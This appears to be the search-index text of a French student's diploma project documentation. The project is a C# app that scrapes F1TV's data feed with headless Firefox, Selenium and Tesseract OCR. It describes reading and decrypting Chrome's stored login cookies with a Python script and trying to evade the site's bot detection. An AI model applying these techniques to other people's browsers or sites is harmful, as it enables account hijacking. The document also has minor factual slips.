secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable.","title":"Description du besoin"},{"location":"index.html#cahier-des-charges","text":"Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document.","title":"Cahier des charges"},{"location":"index.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"index.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\"","title":"R\u00e9alisation"},{"location":"index.html#cas-dutilisation","text":"'*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"index.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"index.html#differences-sur-le-cahier-des-charges","text":"[\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Diff\u00e9rences sur le cahier des charges"},{"location":"index.html#planning-previsionnel","text":"Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu :","title":"Planning pr\u00e9visionnel"},{"location":"index.html#taches","text":"J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique :","title":"T\u00e2ches"},{"location":"index.html#pt","text":"Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales.","title":"PT"},{"location":"index.html#pt1-preparation-au-travail-de-diplome-2","text":"Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite.","title":"PT1 / pr\u00e9paration au travail de dipl\u00f4me (2)"},{"location":"index.html#dt","text":"Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet.","title":"DT"},{"location":"index.html#dt1-creation-du-poster-1","text":"Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier.","title":"DT1 Cr\u00e9ation du poster (1)"},{"location":"index.html#dt2-documentation-analyse-de-lexistant-2","text":"Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus.","title":"DT2 Documentation Analyse de l'existant (2)"},{"location":"index.html#dt3-documentation-analyse-organique-5","text":"Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps.","title":"DT3 Documentation Analyse organique (5)"},{"location":"index.html#dt4-documentation-analyse-fonctionnelle-2","text":"Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application.","title":"DT4 Documentation Analyse fonctionnelle (2)"},{"location":"index.html#dt5-documentation-tests-1","text":"Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation,","title":"DT5 Documentation Tests (1)"},{"location":"index.html#dt6-documentation-reste-2","text":"Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien.","title":"DT6 Documentation Reste (2)"},{"location":"index.html#pt_1","text":"Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application.","title":"PT"},{"location":"index.html#pt1-programmation-recuperation-des-images-3","text":"Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu.","title":"PT1 Programmation r\u00e9cup\u00e9ration des images (3)"},{"location":"index.html#pt2-programmation-ocr-5","text":"Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat.","title":"PT2 Programmation OCR (5)"},{"location":"index.html#pt3-programmation-stockage-et-modele-5","text":"Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture.","title":"PT3 Programmation, stockage et mod\u00e8le (5)"},{"location":"index.html#pt4-programmation-vue-de-lapp-5","text":"Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le.","title":"PT4 Programmation Vue de l'APP (5)"},{"location":"index.html#pt5-programmation-mise-en-commun-3","text":"Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours.","title":"PT5 Programmation mise en commun (3)"},{"location":"index.html#tt","text":"Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re.","title":"TT"},{"location":"index.html#tt1-tests-ocr-2","text":"Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation.","title":"TT1 Tests OCR (2)"},{"location":"index.html#tt2-tests-finaux-2","text":"Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9.","title":"TT2 Tests finaux (2)"},{"location":"index.html#planning-effectif-et-differences","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Planning effectif et diff\u00e9rences"},{"location":"index.html#analyse-fonctionnelle","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"Analyse fonctionnelle"},{"location":"index.html#analyse-organique","text":"","title":"Analyse Organique"},{"location":"index.html#outils-utilises","text":"[A Remplir]","title":"Outils utilis\u00e9s"},{"location":"index.html#technologies-utilisees","text":"Dans ce projet diff\u00e9rents choix ont \u00e9t\u00e9 faits pour ce qui est des technologies. Certaines ont \u00e9t\u00e9 choisies car elles \u00e9taient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de r\u00e9sumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec.","title":"Technologies utilis\u00e9es"},{"location":"index.html#selenium","text":"\"Logo de selenium\" Selenium est une librairie \u00e0 la base Node JS qui permet d'automatiser des actions sur un navigateur internet. Le but premier et je pense son utilisation premi\u00e8re est l'automatisation de tests pour des applications WEB. En effet c'est un super outil pour simuler un user faisant un certain nombre d'actions sans apporter de variabilit\u00e9 ce qui fait de supers test unitaires. Cependant je pense que l'autre grande partie des utilisateurs de Selenium l'utilisent pour faire du \"Scrapping\". Et nous sommes un peu dans cette seconde cat\u00e9gorie. Le \"Scrapping\" c'est l'acte d'aller r\u00e9cup\u00e8rer des informations sur des pages web automatiquement pour alimenter sa propre base de donn\u00e9es. En effet, si on arrive \u00e0 passer les protections anti-bot on peut facilemnt utiliser Selenium pour scraper tous les sites qui nous passent par la t\u00eate. Le cahier des charges que j'avais en t\u00eate en cherchant une technologie de contr\u00f4le de navigateur internet \u00e9tait le suivant : Simple Permettant de contr\u00f4ler un navigateur Headless (Voir chapitre \"Simuler un navigateur ?\") Permettant de contr\u00f4ler firefox Ayant un wrapper C# Permettre de changer certaines choses comme les cookies en Live Permettre d'interagir avec les \u00e9l\u00e9ments d'une page Fonctionner Simple car je ne voulais pas avoir \u00e0 passer trop de temps dessus (ca n'a pas bien vieillit lol...). Je voulais que l'on puisse utiliser Firefox car il n'impl\u00e9mente pas les m\u00eames s\u00e9curit\u00e9es que Chrome pour faire simple. J'avais besoin que la lib puisse contr\u00f4ler un Firefox HEADLESS car je ne voulais pas avoir une page web ouvert sur mon ordi quand je commente car c'est de l'espace utilis\u00e9 pour rien. J'avais besoin d'un wrapper C# car c'est le language que j'utilise. Pour finir j'avais besoin d'interragir avec les \u00e9l\u00e9ments de la page pour naviguer dessus et d'ins\u00e8rer des cookies pour me connecter sans avoir \u00e0 passer par le login de la F1TV qui est tr\u00e8s bon pour detecter les bots. Avec un cahier des charges parreil beaucoup de librairies ont \u00e9t\u00e9 abandonn\u00e9es. J'ai pu tester pleins de librairies C# qui arrivaient \u00e0 contr\u00f4ler un Chrome et m\u00eame pas mal qui arrivaient \u00e0 contr\u00f4ler un Chrome Headless. Mais le choix est tr\u00e8s vite restreind quand on veut pouvoir contr\u00f4ler Chrome OU Firefox. A la base mon choix c'\u00e9tait port\u00e9 sur Puppeteer Sharp qui est une librairie qui se veut \u00eatre exactement ce que je veux. \"Logo de Pupeteer\" Je voulais utiliser cette librairie car il y a des plugins qui sont tr\u00e8s orient\u00e9s scrapping, en effet, ils impl\u00e9mentent de nombreuses techniques pour permettre de mieux passer innapercu par les syst\u00e8mes de detection de bots. Sur le papier c'est la librairie parfaite qui correspond parfaitement au cahier des charges que je m'\u00e9tais fix\u00e9 et je pense que si j'utilisais un projet JS elle le serait. Sauf que avec le wrapper C# j'ai eu un certain nombre de probl\u00e8mes: Toutes les versions de la librairie ne fonctionnaient pas. Il fallait faire des tests avec diff\u00e9rentes versions de la librairie et de ses d\u00e9pendences simplement pour faire d\u00e9marrer un browser. Et ca c'est quand ca marchait car il y avait des jours ou des machines ou je n'ai simplement pas pu faire fonctionner la librairie. M\u00eame avec les techniques propos\u00e9es par les plugins \"Stealth\" je n'arrivais pas \u00e0 bypass les s\u00e9curit\u00e9es de la page de login de la F1TV. J'ai essay\u00e9 tout ce que j'ai pu trouver sur internet mais on se fait toujours chopper d\u00e8s que l'on arrive sur la page. Et le pire de tout, impossible de faire fonctionner un vid\u00e9o. J'ai pu faire tout ce que je voulais faire au final en passant par l'utillisation de cookies pour la connexion. Tout ca pour arriver au moment ou il faut lancer la vid\u00e9o, et la, crash. Impossible de faire fonctionner Puppeteer Sharp avec une vid\u00e9o. D\u00e8s qu'elle se lance c'est un crash assur\u00e9 sans message d'erreur clair. Et le soucis c'est que le wrapper C# n'est pas vraiment bien support\u00e9 et que si c'est un bug de la lib je ne risque pas de voir de fix avant un moment si ce n'est jamais. Pour toutes ces raisons, j'ai du abandonner cette librairie ce qui a \u00e9t\u00e9 tr\u00e8s dur car j'avais pass\u00e9 beaucoup de temps dessus \u00e0 essayer de la faire marcher. Ensuite le choix de Selenium \u00e9tait plut\u00f4t simple, c'\u00e9tait la seule option restante. A ce jour je ne connait aucune autre librairie que Puppeteer ou Selenium qui puisse contr\u00f4ler un Firefox Headless en respectant mon cahier des charges et qui soit donc disponible depuis C#. Si je n'arrivais pas \u00e0 faire fonctionner Selenium j'aurai du abandonner l'id\u00e9e de simuler un navigateur tout simplement. Mais j'ai eu la chance que cette librairie fasse tout ce que je pouvais demander. C'est une super lib et m\u00eame si la version C# n'est vraiment pas bien document\u00e9e, la plupart des documentations de la version JS sont pertinentes pour al version C# m\u00eame si ca n'est pas la m\u00eame syntaxe. Pour r\u00e9sumer, j'ai choisis Puppeteer car c'\u00e9tait la seule option viable pour mon besoin. (Note : Par contre si je trouve la personne chez mozilla ou puppeteer qui a d\u00e9cid\u00e9 d'hardcoder la r\u00e9solution maximale du browser Headless que l'on peut override UNIQUEMENT en changeant les variables d'environnement de la machine ET DE NE LE DOCUMENTER QUASI NULLE PART JE JURE QUE CA VA TRES MAL SE PASSER)","title":"Selenium"},{"location":"index.html#csharp","text":"\"Logo C#\" Je pense que c'est le choix le plus simple \u00e0 expliquer. C# est un language de programmation orient\u00e9 objet relativement haut niveau qui a \u00e9t\u00e9 cr\u00e9\u00e9 par Microsoft et qui a comme cible le developpement d'applications pour Windows. (On peut evidemment trouver des adaptations pour le faire tourner sur Linux mais ce n'est pas vraiment le but du language) En plus d'\u00eatre un superbe language de programmation, c'est le language que l'on apprend au CFPT informatique. C'est donc un language avec lequel je suis beaucoup plus \u00e0 l'aise que pour d'autres languages comme le Python ou le JS. Mon but n'\u00e9tait pas de faire une application Web et je travaille sous Windows. Je savais que mon projet allait demander un minimum de programmation orient\u00e9e objet. J'ai donc imm\u00e9diattement pens\u00e9 \u00e0 utliser C#. Cependant j'aurais tr\u00e8s bien pu utiliser un language comme python qui m'aurait clairement facilit\u00e9 la t\u00e2che avec des librairies bien plus fournies et plus souvent mises \u00e0 jour. Mais comme je ne suis pas du tout aussi \u00e0 l'aise avec je pense que le C# \u00e9tait la meilleure option. Mes seuls regrets apr\u00e8s coup sont que je trouve les Windows Forms tr\u00e8s moches et qu'il est particuli\u00e8rement difficile de les rendres plus jolies et que les librairies disponibles en C# pour des sc\u00e9narios tr\u00e8s pr\u00e9cis ne sont pas au niveau de celles pour JS et pour Python. Cependant si j'avais \u00e0 refaire le projet je reprendrais C# je pense.","title":"CSharp"},{"location":"index.html#python","text":"\"Logo Python\" Alors ce choix la est plus commpliqu\u00e9 \u00e0 comprendre. Pour tout le projet j'ai tent\u00e9 de garder le C# comme language et de ne pas utiliser autre chose. Cependant j'ai du utiliser une seule fois le Python dans un cas tr\u00e8s pr\u00e9cis. Je n'aime vraiment pas coder en python de base et clairement j'aurais pr\u00e9f\u00e8r\u00e9 ne pas l'utiliser mais je n'avais pas le choix. Le besoin dans le cas du python \u00e9tait le suivant : J'avais besoin d'un moyen de r\u00e9cup\u00e8rer des strings et les d\u00e9coder avec une cl\u00e9 encod\u00e9e avec le syst\u00e8me propri\u00e9taire de windows d'encodage. Le soucis que j'avais avec le C# c'est que les methodes de decryption ne fonctionnent pas pareil que en python et tous les exemples que je pouvais trouver \u00e9taient en python. J'ai essay\u00e9 pendant un sacr\u00e9 moment de faire fonctionner la decryption en C# mais sans succ\u00e8s. J'ai donc directement utilis\u00e9 le python comme faisait toutes les personnes que je pouvais voir sur internet et je pense que ca n'est pas une mauvaise id\u00e9e. En effet, cela veut dire que si \u00e0 un moment Chrome est mis \u00e0 jour, je n'aurai pas besoin d'aller ouvrir tout le code source de mon projet pour tout recompiler, j'aurai simplement besoin de changer ce script. Un des avantages du Python est quand m\u00eame qu'il y beaucoup plus de gens qui codent dessus, et pour ce genre d'utilisation tr\u00e8s sp\u00e9cifiques c'est plut\u00f4t pratique. Le seul probl\u00e8me c'est que cela oblige l'utilisateur \u00e0 avoir python install\u00e9 sur sa machine et que sa version doit \u00eatre compatible... (les joies de python)","title":"Python?"},{"location":"index.html#firefox","text":"\"Logo Firefox Headless\" J'en parle deja plus bas, mais le choix de navigateur est super important. Deja tous les navigateurs n'ont pas un mode Headless(sans t\u00eate, mieux expliqu\u00e9 dans la rubrique \"Simuler un naviguateur ?\"). Par exemple, m\u00eame si Edge est maintenant bas\u00e9 sur chromium, il n'existe pas de moyen de le faire tourner en Headless pour le moment. Autre soucis, les librairies d'automatisation ne supportent pas tous les navigateurs. Par exemple, beaucoup supportent chrome mais tr\u00e8s peu supportent Firefox ou Edge. Donc il me fallait un navigateur qui puisse op\u00e8rer en Headless et qui soit support\u00e9 par plusieurs librairies d'automatisation. Il n'y a que Firefox et Chrome qui sont conforme \u00e0 ces exigeances (Je n'ai pas verifi\u00e9 pour TOUS les navigateurs. Peut-\u00eatre que les Opera GX ont aussi un mode headless super, mais je me suis concentr\u00e9 sur les navigateurs plus grand public). Chrome est support\u00e9 par plus de lib, mais le soucis c'est que la F1TV utilise un lecteur de vid\u00e9o avec DRM (Plus d'infos la dessus dans la partie \"Simuler un navigateur?\") et donc le choix \u00e9tait simple. Il ne restait que Firefox.","title":"Firefox"},{"location":"index.html#tesseract","text":"Je pense que le choix le plus simple apr\u00e8s le C# fut l'utilisation de Tesseract. C'est tout simplement l'outil le plus utilis\u00e9 pour faire de l'OCR. A la base c'est une lib Python (Ah tiens encore ?) qui peut \u00eatre redoutablement efficace avec le bon dataset. Il existe d'autres outils mais j'ai d\u00e9cid\u00e9 de prendre celui la \u00e0 cause de son support juste incroyable et de son omnipr\u00e9sence dans la documentation OCR. En plus il est facile \u00e0 utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet.","title":"Tesseract"},{"location":"index.html#fonctionnement-general","text":"Avant de passer \u00e0 l'explication de chaques parties du projet en d\u00e9tail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une \u00e9tape vous serez conscient de \u00e0 quoi elle sert et ou elle s'\u00eenscrit dans le projet principal.","title":"Fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#les-briques-principales","text":"Voici trois grosses \u00e9tapes du projet. Pour rappel ce sont des vulgarisations plut\u00f4t larges qui n'ont qu'un seul but, aider \u00e0 la compr\u00e9hension de ce qui vient par la suite.","title":"Les briques principales"},{"location":"index.html#recuperation-dimages","text":"\"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de r\u00e9cup\u00e8ration des images\" Pour faire simple on peut voir qu'il y a deux parties \u00e0 cette \u00e9tape. La premi\u00e8re en partant du haut repr\u00e9sente un script python qui va chercher des informations dans la base de donn\u00e9es de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion. Dans la seconde \u00e9tape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous int\u00e9resse et que une des infos que l'on r\u00e9cup\u00e8re est une image de la page en format PNG que l'on envoie au programme C#. 